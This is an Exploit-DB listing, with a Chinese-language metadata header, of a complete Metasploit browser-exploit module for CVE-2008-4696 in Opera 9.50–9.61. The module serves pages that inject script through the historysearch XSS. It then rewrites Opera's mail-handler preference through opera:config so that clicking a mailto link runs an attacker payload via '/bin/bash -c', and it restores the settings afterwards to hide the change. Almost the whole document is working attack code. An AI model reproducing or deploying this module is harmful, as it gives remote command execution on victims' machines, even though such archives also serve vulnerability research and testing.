标题: Opera 9.50/9.61 historysearch - Command Execution (Metasploit) EDB-ID: 9944 CVE: 2008-4696 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-10-23 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::HttpServer::HTML

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :ua_name    => HttpClients::OPERA,
  :javascript => true,
  :rank       => ExcellentRanking, # reliable command execution
  :vuln_test  => %Q{
   v = parseFloat(opera.version());
   if (9.5 < v && 9.62 > v) {
    is_vuln = true;
   }
  },
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Opera historysearch XSS',
   'Description'    => %q{
    Certain constructs are not escaped correctly by Opera's History
    Search results.  These can be used to inject scripts into the
    page, which can then be used to modify configuration settings
    and execute arbitrary commands.  Affects Opera versions between
    9.50 and 9.61.
   },
   'License'        => BSD_LICENSE,
   'Author'         => 
    [ 
     'Roberto Suggi', # Discovered the vulnerability
     'Aviv Raff <avivra [at] gmail.com>', # showed it to be exploitable for code exec
     'egypt',  # msf module
    ],
   'Version'        => '$Revision: 5773 $',
   'References'     => 
    [
     ['CVE',    '2008-4696'],
     ['OSVDB',  '49472'],
       ['BID',    '31869'],
     ['URL',    'http://www.opera.com/support/kb/view/903/'],
    ],
   'Payload'        =>
    {
     'ExitFunc' => 'process',
     'Space'    => 4000,
     'DisableNops' => true,
     'BadChars' => "\x09\x0a\x0d\x20",
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby telnet',
      }
    },   
   'Targets'        =>
    [
     #[ 'Automatic', {  } ],
     #[ 'Opera < 9.61 Windows', 
     # {
     #  'Platform' => 'win',
     #  'Arch' => ARCH_X86,
     # }
     #],
     [ 'Opera < 9.61 Unix Cmd', 
      {
       'Platform' => 'unix',
       'Arch' => ARCH_CMD,
      }
     ],
    ],
   'DisclosureDate' => 'Oct 23 2008', # Date of full-disclosure post showing code exec
   'DefaultTarget'  => 0
   ))
 end

 def on_request_uri(cli, request)

  headers = {}
  html_hdr = %Q^
   <html>
   <head>
   <title>Loading</title>
   ^
  html_ftr = %Q^
   </head>
   <body >
   <h1>Loading</h1>
   </body></html>
   ^

  case request.uri
  when /[?]jspayload/
   p = regenerate_payload(cli)
   if (p.nil?)
    send_not_found(cli)
    return
   end
   # We're going to run this through unescape(), so make sure
   # everything is encoded
   penc = Rex::Text.to_hex(p.encoded, "%")
   content = 
    %Q{
     var s = document.createElement("iframe");

     s.src="opera:config";
     s.id="config_window";
     document.body.appendChild(s);
     config_window.eval(
      "var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +
      "old_app = opera.getPreference('Mail','External Application');" +
      "old_handler = opera.getPreference('Mail','Handler');" +
      "opera.setPreference('Mail','External Application',cmd);" +
      "opera.setPreference('Mail','Handler','2');" +
      "app_link = document.createElement('a');" +
      "app_link.setAttribute('href', 'mailto:a@b.com');" +
      "app_link.click();" +
      "setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +
      "setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +
     "");
     setTimeout(function () {window.location='about:blank'},1);
    }

  when /[?]history/
   js = %Q^
    window.onload = function() { 
     location.href = "opera:historysearch?q=*"; 
    }
    ^
   content = %Q^
    #{html_hdr}
    <script><!--
    #{js}
    //--></script>
    #{html_ftr}
    ^
  when get_resource()
   print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")

   js = %Q^
    if (window.opera) {
     var wnd = window;
     while (wnd.parent != wnd) {
      wnd = wnd.parent;
     }
     url = location.href;
     wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--"; 
    }
    ^
   content = %Q^
    #{html_hdr}
    <script><!--
    #{js}
    //--></script>
    #{html_ftr}
    ^
  else
   print_status("Sending 404 to #{cli.peerhost} for request #{request.uri}")
   send_not_found(cli)
   return
  end
  content.gsub!(/^\t{4}/, '')
  content.gsub!(/\t/, ' ')

  send_response_html(cli, content, headers)
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/9944